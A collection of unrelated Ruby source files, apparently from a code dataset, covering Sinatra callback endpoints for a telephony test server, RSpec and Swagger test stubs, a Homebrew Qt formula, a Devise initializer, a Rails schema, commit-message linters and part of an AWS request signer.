desc 'Connect API'
get '/connect' do
data = params
filename_part = "connect_applet" || "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
@@b=params[:from_number].split(',').length
if @@c<@@b
@@c+=1
end
if @@c>=@@b
@@c=0
end
{
"from_number": params[:from_number],
"content-type": "text/plain"
}
end
@@c=-1
@@b=0
desc 'Programmable Connect API'
get '/programmable_connect' do
data = params
filename_part = "programmable_connect"|| "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
@@b=params[:numbers].split(',').length
if @@c<@@b
@@c+=1
end
if @@c>=@@b
@@c=0
end
{
"fetch_after_attempt": params[:fetch_after_attempt],
"destination": {
"numbers": [params[:numbers].split(',')[@@c]]
},
"outgoing_phone_number": params[:outgoing_phone_number],
"record": params[:record],
"recording_channels": params[:recording_channels],
"max_ringing_duration": params[:max_ringing_duration],
"max_conversation_duration": params[:max_conversation_duration],
"music_on_hold": {
"type": params[:music_on_hold_text],
"value": params[:music_on_hold_value]
},
"start_call_playback": {
"type": params[:start_call_playback_text],
"value": params[:start_call_playback_value]
},
"parallel_ringing": {
"activate": params[:parallel_ringing_activate],
"max_parallel_attempts": params[:max_parallel_attempts]
},
"dial_passthru_event_url": params[:dial_passthru_event_url]
}
end
desc 'Gather Applet'
get '/gather_applet' do
data = params
filename_part = "gather_applet"|| "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
{
"gather_prompt": {
"text": params[:gather_prompt_text]
},
"max_input_digits": params[:max_input_digits],
"finish_on_key": params[:finish_on_key],
"input_timeout": params[:input_timeout],
"repeat_menu": params[:repeat_menu],
"repeat_gather_prompt": {
"text": params[:repeat_gather_prompt_text]
}
}
end
desc 'Pass through code for different status code'
get '/passthru_applet' do
data = params
filename_part = "passthru_applet"|| "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
params[:status]
end
desc 'Pass through code for different status code'
get '/passthru' do
data = params
filename_part = "passthru_applet"|| "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
status = params[:status]
if status == "200"
status config("passthru_200")["status"]
elsif status == "302"
status config("passthru_302")["status"]
elsif status == "404"
status config("passthru_404")["status"]
elsif status == "500"
status config("passthru_500")["status"]
else
status config("passthru_200")["status"]
end
end
desc 'Pass through code for delay in response'
get '/passthru_switch_case' do
sleep(params[:sleep].to_i)
data = params
filename_part = "passthru_applet"|| "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
{
"select": params[:select],
"content-type": "text/plain"
}
end
desc 'Dumps status to a file. Which can be used later to validate'
get '/callback_response_url' do
puts params.inspect
data = params
filename_part = params[:CallSid] || "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
params
end
desc 'Dumps status to a file. Which can be used later to validate'
get '/response_data_url' do
data = params
filename_part = params[:filename] || "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
params
end
desc 'truncate the data in the file'
post '/truncate_response_data' do
filename_part = params[:filename] || "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","w+") {|file| file.truncate(0) }
params
end
end
end
end
| 32.925532 | 90 | 0.555897 |
08a8f5d90612e9f0c66414413331c6e6ad803350 | 3,754 | # frozen_string_literal: true
require "rails_helper"
RSpec.describe Api::V1::UserRolesController, type: :controller do
describe "POST #create" do
it_behaves_like "check_auth", :post, :create
context "with auth" do
include_examples "auth"
let(:user) { User.create!(username: "admin") }
let(:role) { Role.create!(title: "reboot the server") }
context "errors" do
it "can't assign role to not existing user" do
post :create, params: { user_role: { user: "not_existing", role: role.title } }
expect(response.code).to eq "404"
expect(json_body["success"]).to eq false
expect(json_body["errors"]).to eq ["NOT_FOUND"]
end
it "can't assign not existing role to user" do
post :create, params: { user_role: { user: user.username, role: "not_existing" } }
expect(response.code).to eq "404"
expect(json_body["success"]).to eq false
expect(json_body["errors"]).to eq ["NOT_FOUND"]
end
it "can't assign role to user second time" do
UserRole.create!(user: user, role: role)
post :create, params: { user_role: { user: user.username, role: role.title } }
expect(response.code).to eq "400"
expect(json_body["success"]).to eq false
expect(json_body["errors"]).to eq ["NOT_UNIQUE"]
end
end
it "assign role to user" do
post :create, params: { user_role: { user: user.username, role: role.title } }
expect(response.code).to eq "200"
expect(json_body["success"]).to eq true
expect(json_body["user"]).to eq user.username
expect(json_body["role"]).to eq role.title
expect(user.roles.where(title: role.title).any?).to eq true
end
it "can assign many roles to user" do
UserRole.create!(user: user, role: role)
role2 = Role.create!(title: "new_role")
post :create, params: { user_role: { user: user.username, role: role2.title } }
expect(response.code).to eq "200"
expect(user.roles.count).to eq 2
end
end
end
describe "DELETE #destroy" do
it_behaves_like "check_auth", :delete, :destroy
context "with auth" do
include_examples "auth"
let(:user) { User.create!(username: "admin") }
let(:role) { Role.create!(title: "reboot the server") }
context "errors" do
it "can't remove role from not existing user" do
delete :destroy, params: { user_role: { user: "not_existing", role: role.title } }
expect(response.code).to eq "404"
expect(json_body["success"]).to eq false
expect(json_body["errors"]).to eq ["NOT_FOUND"]
end
it "can't remove not existing role from user" do
delete :destroy, params: { user_role: { user: user.username, role: "not_existing" } }
expect(response.code).to eq "404"
expect(json_body["success"]).to eq false
expect(json_body["errors"]).to eq ["NOT_FOUND"]
end
it "can't remove unassigned role from user" do
delete :destroy, params: { user_role: { user: user.username, role: role.title } }
expect(response.code).to eq "404"
expect(json_body["success"]).to eq false
expect(json_body["errors"]).to eq ["NOT_FOUND"]
end
end
it "remove assigned role from user" do
UserRole.create!(user: user, role: role)
delete :destroy, params: { user_role: { user: user.username, role: role.title } }
expect(response.code).to eq "200"
expect(json_body["success"]).to eq true
expect(user.roles.where(title: role.title).any?).to eq false
end
end
end
end
| 33.517857 | 95 | 0.605487 |
edaee683bc0db8939673e9dcb54b63a96af2f1f4 | 488 | #!/usr/bin/env ruby
require "sinatra"
require "browser_gui"
require "slim"
SLIM =<<EOF
h1 Hello from Slim
form action="/action" method="post"
| Name:
input type="text" name="text" size=30
br
input type="submit"
ul
- (1..3).each do |i|
li
- href = "/link/" + i.to_s
a href=href
= (i == 1) ? "Click me!" : "No, click me!"
EOF
get "/" do
slim SLIM
end
post "/action" do
params.inspect
end
get "/link/:id" do
"You clicked link #{params[:id]}"
end
| 14.787879 | 50 | 0.590164 |
390ba7e071fe0d387546bed37ed7b9e7be0351ba | 1,432 | =begin
#Tatum API
## Authentication <!-- ReDoc-Inject: <security-definitions> -->
OpenAPI spec version: 3.9.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 3.0.31
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for Tatum::BtcTransactionFromUTXOFromUTXO
# Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen)
# Please update as you see appropriate
describe 'BtcTransactionFromUTXOFromUTXO' do
before do
# run before each test
@instance = Tatum::BtcTransactionFromUTXOFromUTXO.new
end
after do
# run after each test
end
describe 'test an instance of BtcTransactionFromUTXOFromUTXO' do
it 'should create an instance of BtcTransactionFromUTXOFromUTXO' do
expect(@instance).to be_instance_of(Tatum::BtcTransactionFromUTXOFromUTXO)
end
end
describe 'test attribute "tx_hash"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "index"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "private_key"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 27.018868 | 102 | 0.738827 |
5d43bd89903f706e747c5f6b017d05a1b6d7d8d5 | 5,072 | # Patches for Qt must be at the very least submitted to Qt's Gerrit codereview
# rather than their bug-report Jira. The latter is rarely reviewed by Qt.
class Qt < Formula
desc "Cross-platform application and UI framework"
homepage "https://www.qt.io/"
url "https://download.qt.io/official_releases/qt/5.11/5.11.2/single/qt-everywhere-src-5.11.2.tar.xz"
mirror "https://qt.mirror.constant.com/archive/qt/5.11/5.11.2/single/qt-everywhere-src-5.11.2.tar.xz"
mirror "https://ftp.osuosl.org/pub/blfs/conglomeration/qt5/qt-everywhere-src-5.11.2.tar.xz"
sha256 "c6104b840b6caee596fa9a35bc5f57f67ed5a99d6a36497b6fe66f990a53ca81"
head "https://code.qt.io/qt/qt5.git", :branch => "5.12", :shallow => false
bottle do
sha256 "8c77b5762267b127cc31346ac4da805bbfd59e0180d90e1e8b77fb463e929d60" => :mojave
sha256 "096d8894b25b0fdec9b77150704491993872a7848397a04870627534fb95c9e3" => :high_sierra
sha256 "0464be51d0eb0a45de4a1d1c6200e1d9768eec5e9737050755497a4f4de66a08" => :sierra
sha256 "22e9abc0b47541bb03b2da7f6a19c5d7640ea2314322564551adc3d22305806e" => :el_capitan
end
keg_only "Qt 5 has CMake issues when linked"
option "with-examples", "Build examples"
option "without-proprietary-codecs", "Don't build with proprietary codecs (e.g. mp3)"
deprecated_option "with-mysql" => "with-mysql-client"
depends_on "pkg-config" => :build
depends_on :xcode => :build
depends_on "mysql-client" => :optional
depends_on "postgresql" => :optional
# Restore `.pc` files for framework-based build of Qt 5 on macOS, partially
# reverting <https://codereview.qt-project.org/#/c/140954/>
# Core formulae known to fail without this patch (as of 2016-10-15):
# * gnuplot (with `--with-qt` option)
# * mkvtoolnix (with `--with-qt` option, silent build failure)
# * poppler (with `--with-qt` option)
patch do
url "https://raw.githubusercontent.com/Homebrew/formula-patches/e8fe6567/qt5/restore-pc-files.patch"
sha256 "48ff18be2f4050de7288bddbae7f47e949512ac4bcd126c2f504be2ac701158b"
end
# Chromium build failures with Xcode 10, fixed upstream:
# https://bugs.chromium.org/p/chromium/issues/detail?id=840251
# https://bugs.chromium.org/p/chromium/issues/detail?id=849689
patch do
url "https://raw.githubusercontent.com/Homebrew/formula-patches/962f0f/qt/xcode10.diff"
sha256 "c064398411c69f2e1c516c0cd49fcd0755bc29bb19e65c5694c6d726c43389a6"
end
def install
args = %W[
-verbose
-prefix #{prefix}
-release
-opensource -confirm-license
-system-zlib
-qt-libpng
-qt-libjpeg
-qt-freetype
-qt-pcre
-nomake tests
-no-rpath
-pkg-config
-dbus-runtime
]
args << "-nomake" << "examples" if build.without? "examples"
if build.with? "mysql-client"
args << "-plugin-sql-mysql"
(buildpath/"brew_shim/mysql_config").write <<~EOS
#!/bin/sh
if [ x"$1" = x"--libs" ]; then
mysql_config --libs | sed "s/-lssl -lcrypto//"
else
exec mysql_config "$@"
fi
EOS
chmod 0755, "brew_shim/mysql_config"
args << "-mysql_config" << buildpath/"brew_shim/mysql_config"
end
args << "-plugin-sql-psql" if build.with? "postgresql"
args << "-proprietary-codecs" if build.with? "proprietary-codecs"
system "./configure", *args
system "make"
ENV.deparallelize
system "make", "install"
# Some config scripts will only find Qt in a "Frameworks" folder
frameworks.install_symlink Dir["#{lib}/*.framework"]
# The pkg-config files installed suggest that headers can be found in the
# `include` directory. Make this so by creating symlinks from `include` to
# the Frameworks' Headers folders.
Pathname.glob("#{lib}/*.framework/Headers") do |path|
include.install_symlink path => path.parent.basename(".framework")
end
# Move `*.app` bundles into `libexec` to expose them to `brew linkapps` and
# because we don't like having them in `bin`.
# (Note: This move breaks invocation of Assistant via the Help menu
# of both Designer and Linguist as that relies on Assistant being in `bin`.)
libexec.mkpath
Pathname.glob("#{bin}/*.app") { |app| mv app, libexec }
end
def caveats; <<~EOS
We agreed to the Qt open source license for you.
If this is unacceptable you should uninstall.
EOS
end
test do
(testpath/"hello.pro").write <<~EOS
QT += core
QT -= gui
TARGET = hello
CONFIG += console
CONFIG -= app_bundle
TEMPLATE = app
SOURCES += main.cpp
EOS
(testpath/"main.cpp").write <<~EOS
#include <QCoreApplication>
#include <QDebug>
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
qDebug() << "Hello World!";
return 0;
}
EOS
system bin/"qmake", testpath/"hello.pro"
system "make"
assert_predicate testpath/"hello", :exist?
assert_predicate testpath/"main.o", :exist?
system "./hello"
end
end
| 34.97931 | 104 | 0.676065 |
0819ab97997c0260dc539822ece3f56c0674c8ef | 394 | class BaseController < ApplicationController
respond_to :json
around_action :configure_time_machine
expose(:json_list) do
list = []
collection.map do |record|
list << record.json_mapping
end
list
end
def index
render json: json_list, status: :ok
end
private
def ilike?(str, q_rule)
!str.nil? && str.to_s.downcase.starts_with?(q_rule)
end
end
| 15.76 | 55 | 0.682741 |
ff502db5713d7df289e632fca0f64740b49c706b | 2,699 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `bin/rails
# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2021_05_11_200134) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
create_table "comments", force: :cascade do |t|
t.integer "user_id"
t.integer "post_id"
t.text "content"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["post_id"], name: "index_comments_on_post_id"
t.index ["user_id"], name: "index_comments_on_user_id"
end
create_table "friendships", force: :cascade do |t|
t.bigint "user_id"
t.bigint "friend_id"
t.boolean "status"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
t.index ["friend_id"], name: "index_friendships_on_friend_id"
t.index ["user_id"], name: "index_friendships_on_user_id"
end
create_table "likes", force: :cascade do |t|
t.integer "post_id"
t.integer "user_id"
t.index ["post_id"], name: "index_likes_on_post_id"
t.index ["user_id"], name: "index_likes_on_user_id"
end
create_table "posts", force: :cascade do |t|
t.integer "user_id"
t.text "content"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["user_id"], name: "index_posts_on_user_id"
end
create_table "users", force: :cascade do |t|
t.string "email", default: "", null: false
t.string "encrypted_password", default: "", null: false
t.string "reset_password_token"
t.datetime "reset_password_sent_at"
t.datetime "remember_created_at"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "name"
t.string "gravatar_url"
t.index ["email"], name: "index_users_on_email", unique: true
t.index ["reset_password_token"], name: "index_users_on_reset_password_token", unique: true
end
add_foreign_key "friendships", "users"
add_foreign_key "friendships", "users", column: "friend_id"
end
| 38.557143 | 95 | 0.722119 |
33f20f4e0c111fb85f8583558a32f5299d91036a | 313 | require "forwardable"
require_relative "singular_resource"
module Clerk
module Resources
class Allowlist
extend Forwardable
def initialize(client)
@resource = SingularResource.new(client, "beta_features/allowlist")
end
def_delegators :@resource, :update
end
end
end
| 18.411765 | 75 | 0.709265 |
5dd74e987e7ae828dcb716834e399af32d9b3699 | 1,165 | class NilClass
def dup
nil
end
def method_missing(method, *args)
Util.trace("NilClass:undefined_method method=#{method} args=#{args}") if ENV["DEBUG"]
nil
end
def split(*val)
Array.new
end
def to_s
""
end
def strip
""
end
def +(val)
val
end
def closed?
true
end
end
class Numeric
def as_time
sprintf("%d:%02d:%02d", (self / 60).truncate, self.truncate % 60, ((self % 1) * 60).truncate)
end
def with_commas
self.to_s.reverse.scan(/(?:\d*\.)?\d{1,3}-?/).join(',').reverse
end
end
class String
def to_s
self.dup
end
def stream
@stream
end
def stream=(val)
@stream ||= val
end
end
##
## needed to Script subclass
##
require_relative("./script/script")
class String
def to_a # for compatibility with Ruby 1.8
[self]
end
def silent
false
end
def split_as_list
string = self
string.sub!(/^You (?:also see|notice) |^In the .+ you see /, ',')
string.sub('.','')
.sub(/ and (an?|some|the)/, ', \1')
.split(',')
.reject { |str| str.strip.empty? }
.collect { |str| str.lstrip }
end
end
| 16.408451 | 98 | 0.567382 |
28057079ebbc4ea42f4323cd6cbbac548c856b62 | 527 | module Linters
module Remark
class Tokenizer
VIOLATION_REGEX = /\A
\s+
(?<line_number>\d+):(?<start_column>\d+)
(-(?<end_line_number>\d+):(?<end_column>\d+))?
\s{2,}
(?:\e\[\d+m)?
(?<violation_level>\w+)?
(?:\e\[\d+m)?
\s{2,}
(?<message>.+?)
\s{2,}
(?<rule-name>.+?)
\s{2,}
(?<source>.+?)
\z/x
def parse(text)
Linters::Tokenizer.new(text, VIOLATION_REGEX).parse
end
end
end
end
| 20.269231 | 59 | 0.432638 |
9155eed52d3822695b5f9b601a9d4ffbeff08db8 | 1,355 | require "fit_commit/validators/base"
module FitCommit
module Validators
class LineLength < Base
MERGE_COMMIT = /\AMerge branch '[^']+' into ./
URL = %r{[a-z]+://}
def validate_line(lineno, text)
if lineno == 1
if text.empty?
add_error(lineno, "Subject line cannot be blank.")
elsif text !~ MERGE_COMMIT
if text.length > max_line_length
add_error(lineno, format("Lines should be <= %i chars. (%i)",
max_line_length, text.length))
elsif text.length > subject_warn_length
add_warning(lineno, format("Subject line should be <= %i chars. (%i)",
subject_warn_length, text.length))
end
end
elsif lineno == 2
unless text.empty?
add_error(lineno, "Second line must be blank.")
end
elsif text.length > max_line_length && !(allow_long_urls? && text =~ URL)
add_error(lineno, format("Lines should be <= %i chars. (%i)",
max_line_length, text.length))
end
end
def max_line_length
config.fetch("MaxLineLength")
end
def subject_warn_length
config.fetch("SubjectWarnLength")
end
def allow_long_urls?
config.fetch("AllowLongUrls")
end
end
end
end
| 29.456522 | 84 | 0.571218 |
396905a03770b3158369ad4a10a0661d5713ab5a | 694 | # frozen_string_literal: true
module RestoreStrategies
# Generic class to manipulate API resources as Ruby classes
class ApiCollectable < ApiObject
attr_accessor :path
# Add item to collection
def add(item)
RestoreStrategies.client.post_item(@path, item.to_payload)
end
# Remove item from collection
def remove(item)
RestoreStrategies.client.delete_item(@path, item.id)
end
def find(id)
self.class.find(id, @path)
end
def items_from_response(api_response)
self.class.items_from_response(api_response)
end
def all
self.class.all(@path)
end
def first
self.class.first(@path)
end
end
end
| 19.828571 | 64 | 0.685879 |
038c362161b5ccd097f94159e73c378b176942b5 | 14,457 | # frozen_string_literal: true
# Use this hook to configure devise mailer, warden hooks and so forth.
# Many of these configuration options can be set straight in your model.
Devise.setup do |config|
# The secret key used by Devise. Devise uses this key to generate
# random tokens. Changing this key will render invalid all existing
# confirmation, reset password and unlock tokens in the database.
# Devise will use the `secret_key_base` as its `secret_key`
# by default. You can change it below and use your own secret key.
# config.secret_key = '5ef22beb3c275938c75f7f938bc74888931301893e9d6a26eecf1e55bb0f383f7150b7dcf17e2b1a7ce0932e1755c5c37ea858b8f3e568ca7fe42b6ed5d59ef1'
# ==> Controller configuration
# Configure the parent class to the devise controllers.
# config.parent_controller = 'DeviseController'
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = '[email protected]'
# Configure the class responsible to send e-mails.
# config.mailer = 'Devise::Mailer'
# Configure the parent class responsible to send e-mails.
# config.parent_mailer = 'ActionMailer::Base'
# ==> ORM configuration
# Load and configure the ORM. Supports :active_record (default) and
# :mongoid (bson_ext recommended) by default. Other ORMs may be
# available as additional gems.
require 'devise/orm/active_record'
# ==> Configuration for any authentication mechanism
# Configure which keys are used when authenticating a user. The default is
# just :email. You can configure it to use [:username, :subdomain], so for
# authenticating a user, both parameters are required. Remember that those
# parameters are used only when authenticating and not when retrieving from
# session. If you need permissions, you should implement that in a before filter.
# You can also supply a hash where the value is a boolean determining whether
# or not authentication should be aborted when the value is not present.
# config.authentication_keys = [:email]
# Configure parameters from the request object used for authentication. Each entry
# given should be a request method and it will automatically be passed to the
# find_for_authentication method and considered in your model lookup. For instance,
# if you set :request_keys to [:subdomain], :subdomain will be used on authentication.
# The same considerations mentioned for authentication_keys also apply to request_keys.
# config.request_keys = []
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
config.case_insensitive_keys = [:email]
# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
# modifying a user and when used to authenticate or find a user. Default is :email.
config.strip_whitespace_keys = [:email]
# Tell if authentication through request.params is enabled. True by default.
# It can be set to an array that will enable params authentication only for the
# given strategies, for example, `config.params_authenticatable = [:database]` will
# enable it only for database (email + password) authentication.
# config.params_authenticatable = true
# Tell if authentication through HTTP Auth is enabled. False by default.
# It can be set to an array that will enable http authentication only for the
# given strategies, for example, `config.http_authenticatable = [:database]` will
# enable it only for database authentication. The supported strategies are:
# :database = Support basic authentication with authentication key + password
# config.http_authenticatable = false
# If 401 status code should be returned for AJAX requests. True by default.
# config.http_authenticatable_on_xhr = true
# The realm used in Http Basic Authentication. 'Application' by default.
# config.http_authentication_realm = 'Application'
# It will change confirmation, password recovery and other workflows
# to behave the same regardless if the e-mail provided was right or wrong.
# Does not affect registerable.
# config.paranoid = true
# By default Devise will store the user in session. You can skip storage for
# particular strategies by setting this option.
# Notice that if you are skipping storage for all authentication paths, you
# may want to disable generating routes to Devise's sessions controller by
# passing skip: :sessions to `devise_for` in your config/routes.rb
config.skip_session_storage = [:http_auth]
# By default, Devise cleans up the CSRF token on authentication to
# avoid CSRF token fixation attacks. This means that, when using AJAX
# requests for sign in and sign up, you need to get a new CSRF token
# from the server. You can disable this option at your own risk.
# config.clean_up_csrf_token_on_authentication = true
# When false, Devise will not attempt to reload routes on eager load.
# This can reduce the time taken to boot the app but if your application
# requires the Devise mappings to be loaded during boot time the application
# won't boot properly.
# config.reload_routes = true
# ==> Configuration for :database_authenticatable
# For bcrypt, this is the cost for hashing the password and defaults to 11. If
# using other algorithms, it sets how many times you want the password to be hashed.
#
# Limiting the stretches to just one in testing will increase the performance of
# your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use
# a value less than 10 in other environments. Note that, for bcrypt (the default
# algorithm), the cost increases exponentially with the number of stretches (e.g.
# a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation).
config.stretches = Rails.env.test? ? 1 : 11
# Set up a pepper to generate the hashed password.
# config.pepper = 'd240f1d85a79f7d56bf07c3ccba3bf5242c5e74925b7218b8b5d94ee17bf5ebf4985cb6b678c943cbf09b619d2a8bab81795bbde1638052388c400022ad549df'
# Send a notification to the original email when the user's email is changed.
# config.send_email_changed_notification = false
# Send a notification email when the user's password is changed.
# config.send_password_change_notification = false
# ==> Configuration for :confirmable
# A period that the user is allowed to access the website even without
# confirming their account. For instance, if set to 2.days, the user will be
# able to access the website for two days without confirming their account,
# access will be blocked just in the third day.
# You can also set it to nil, which will allow the user to access the website
# without confirming their account.
# Default is 0.days, meaning the user cannot access the website without
# confirming their account.
# config.allow_unconfirmed_access_for = 2.days
# A period that the user is allowed to confirm their account before their
# token becomes invalid. For example, if set to 3.days, the user can confirm
# their account within 3 days after the mail was sent, but on the fourth day
# their account can't be confirmed with the token any more.
# Default is nil, meaning there is no restriction on how long a user can take
# before confirming their account.
# config.confirm_within = 3.days
# If true, requires any email changes to be confirmed (exactly the same way as
# initial account confirmation) to be applied. Requires additional unconfirmed_email
# db field (see migrations). Until confirmed, new email is stored in
# unconfirmed_email column, and copied to email column on successful confirmation.
config.reconfirmable = true
# Defines which key will be used when confirming an account
# config.confirmation_keys = [:email]
# ==> Configuration for :rememberable
# The time the user will be remembered without asking for credentials again.
# config.remember_for = 2.weeks
# Invalidates all the remember me tokens when the user signs out.
config.expire_all_remember_me_on_sign_out = true
# If true, extends the user's remember period when remembered via cookie.
# config.extend_remember_period = false
# Options to be passed to the created cookie. For instance, you can set
# secure: true in order to force SSL only cookies.
# config.rememberable_options = {}
# ==> Configuration for :validatable
# Range for password length.
config.password_length = 6..128
# Email regex used to validate email formats. It simply asserts that
# one (and only one) @ exists in the given string. This is mainly
# to give user feedback and not to assert the e-mail validity.
config.email_regexp = /\A[^@\s]+@[^@\s]+\z/
# ==> Configuration for :timeoutable
# The time you want to timeout the user session without activity. After this
# time the user will be asked for credentials again. Default is 30 minutes.
# config.timeout_in = 30.minutes
# ==> Configuration for :lockable
# Defines which strategy will be used to lock an account.
# :failed_attempts = Locks an account after a number of failed attempts to sign in.
# :none = No lock strategy. You should handle locking by yourself.
# config.lock_strategy = :failed_attempts
# Defines which key will be used when locking and unlocking an account
# config.unlock_keys = [:email]
# Defines which strategy will be used to unlock an account.
# :email = Sends an unlock link to the user email
# :time = Re-enables login after a certain amount of time (see :unlock_in below)
# :both = Enables both strategies
# :none = No unlock strategy. You should handle unlocking by yourself.
# config.unlock_strategy = :both
# Number of authentication tries before locking an account if lock_strategy
# is failed attempts.
# config.maximum_attempts = 20
# Time interval to unlock the account if :time is enabled as unlock_strategy.
# config.unlock_in = 1.hour
# Warn on the last attempt before the account is locked.
# config.last_attempt_warning = true
# ==> Configuration for :recoverable
#
# Defines which key will be used when recovering the password for an account
# config.reset_password_keys = [:email]
# Time interval you can reset your password with a reset password key.
# Don't put a too small interval or your users won't have the time to
# change their passwords.
config.reset_password_within = 6.hours
# When set to false, does not sign a user in automatically after their password is
# reset. Defaults to true, so a user is signed in automatically after a reset.
# config.sign_in_after_reset_password = true
# ==> Configuration for :encryptable
# Allow you to use another hashing or encryption algorithm besides bcrypt (default).
# You can use :sha1, :sha512 or algorithms from others authentication tools as
# :clearance_sha1, :authlogic_sha512 (then you should set stretches above to 20
# for default behavior) and :restful_authentication_sha1 (then you should set
# stretches to 10, and copy REST_AUTH_SITE_KEY to pepper).
#
# Require the `devise-encryptable` gem when using anything other than bcrypt
# config.encryptor = :sha512
# ==> Scopes configuration
# Turn scoped views on. Before rendering "sessions/new", it will first check for
# "users/sessions/new". It's turned off by default because it's slower if you
# are using only default views.
# config.scoped_views = false
# Configure the default scope given to Warden. By default it's the first
# devise role declared in your routes (usually :user).
# config.default_scope = :user
# Set this configuration to false if you want /users/sign_out to sign out
# only the current scope. By default, Devise signs out all scopes.
# config.sign_out_all_scopes = true
# ==> Navigation configuration
# Lists the formats that should be treated as navigational. Formats like
# :html, should redirect to the sign in page when the user does not have
# access, but formats like :xml or :json, should return 401.
#
# If you have any extra navigational formats, like :iphone or :mobile, you
# should add them to the navigational formats lists.
#
# The "*/*" below is required to match Internet Explorer requests.
# config.navigational_formats = ['*/*', :html]
# The default HTTP method used to sign out a resource. Default is :delete.
config.sign_out_via = :delete
# ==> OmniAuth
# Add a new OmniAuth provider. Check the wiki for more information on setting
# up on your models and hooks.
# config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo'
# ==> Warden configuration
# If you want to use other strategies, that are not supported by Devise, or
# change the failure app, you can configure them inside the config.warden block.
#
# config.warden do |manager|
# manager.intercept_401 = false
# manager.default_strategies(scope: :user).unshift :some_external_strategy
# end
# ==> Mountable engine configurations
# When using Devise inside an engine, let's call it `MyEngine`, and this engine
# is mountable, there are some extra configurations to be taken into account.
# The following options are available, assuming the engine is mounted as:
#
# mount MyEngine, at: '/my_engine'
#
# The router that invoked `devise_for`, in the example above, would be:
# config.router_name = :my_engine
#
# When using OmniAuth, Devise cannot automatically set OmniAuth path,
# so you need to do it manually. For the users scope, it would be:
# config.omniauth_path_prefix = '/my_engine/users/auth'
# ==> Turbolinks configuration
# If your app is using Turbolinks, Turbolinks::Controller needs to be included to make redirection work correctly:
#
# ActiveSupport.on_load(:devise_failure_app) do
# include Turbolinks::Controller
# end
# ==> Configuration for :registerable
# When set to false, does not sign a user in automatically after their password is
# changed. Defaults to true, so a user is signed in automatically after changing a password.
# config.sign_in_after_change_password = true
end
| 48.19 | 154 | 0.751262 |
5d960482af23cc8f0b850e8f7f3fd9789f885fda | 7,552 | # Copyright 2011-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
# ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
require 'time'
require 'openssl'
require 'digest'
module AWS
module Core
module Signers
# @api private
class Version4
autoload :ChunkSignedStream, 'aws/core/signers/version_4/chunk_signed_stream'
# @api private
# SHA256 hex digest of the empty string
EMPTY_DIGEST = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'
# @api private
STREAMING_CHECKSUM = "STREAMING-AWS4-HMAC-SHA256-PAYLOAD"
# @param [CredentialProviders::Provider] credentials
# @param [String] service_name
# @param [String] region
def initialize credentials, service_name, region
@credentials = credentials
@service_name = service_name
@region = region
end
# @return [CredentialProviders::Provider]
attr_reader :credentials
# @return [String]
attr_reader :service_name
# @return [String]
attr_reader :region
# @param [Http::Request] req
# @option options [Boolean] :chunk_signing (false) When +true+, the
# request body will be signed in chunk.
# @option options [DateTime String<YYYYMMDDTHHMMSSZ>] :datetime
# @return [Http::Request]
def sign_request req, options = {}
datetime = options[:datetime] || Time.now.utc.strftime("%Y%m%dT%H%M%SZ")
key = derive_key(datetime)
token = credentials.session_token
chunk_signing = !!options[:chunk_signing]
content_sha256 = req.headers['x-amz-content-sha256'] || body_digest(req, chunk_signing)
req.headers['host'] = req.host
req.headers['x-amz-date'] = datetime
req.headers['x-amz-security-token'] = token if token
req.headers['x-amz-content-sha256'] = content_sha256
if chunk_signing
orig_size = req.headers['content-length'].to_i
signed_size = ChunkSignedStream.signed_size(orig_size.to_i)
req.headers['content-length'] = signed_size.to_s
